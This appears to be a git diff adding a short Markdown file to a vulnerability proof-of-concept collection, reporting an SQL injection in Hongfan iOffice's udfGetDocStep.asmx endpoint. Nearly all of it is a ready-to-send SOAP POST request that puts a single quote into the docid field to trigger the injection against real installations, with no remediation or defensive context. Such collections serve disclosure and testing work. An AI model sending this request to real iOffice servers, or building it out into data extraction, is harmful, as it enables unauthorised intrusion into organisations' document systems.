diff --git a/红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞.md b/红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞.md
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+## 红帆ioffice-udfGetDocStep.asmx存在SQL注入漏洞
+
+## POC
+```
+POST /ioffice/prg/interface/udfGetDocStep.asmx HTTP/1.1
+Host: 
+Content-Type: text/xml; charset=utf-8
+SOAPAction: "http://tempuri.org/GetDocStep"
+
+<?xml version="1.0" encoding="utf-8"?>
+<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
+    <soap:Body>
+    <GetDocStep xmlns="http://tempuri.org/">
+        <docid>1'</docid>
+    </GetDocStep>
+    </soap:Body>
+</soap:Envelope>
+```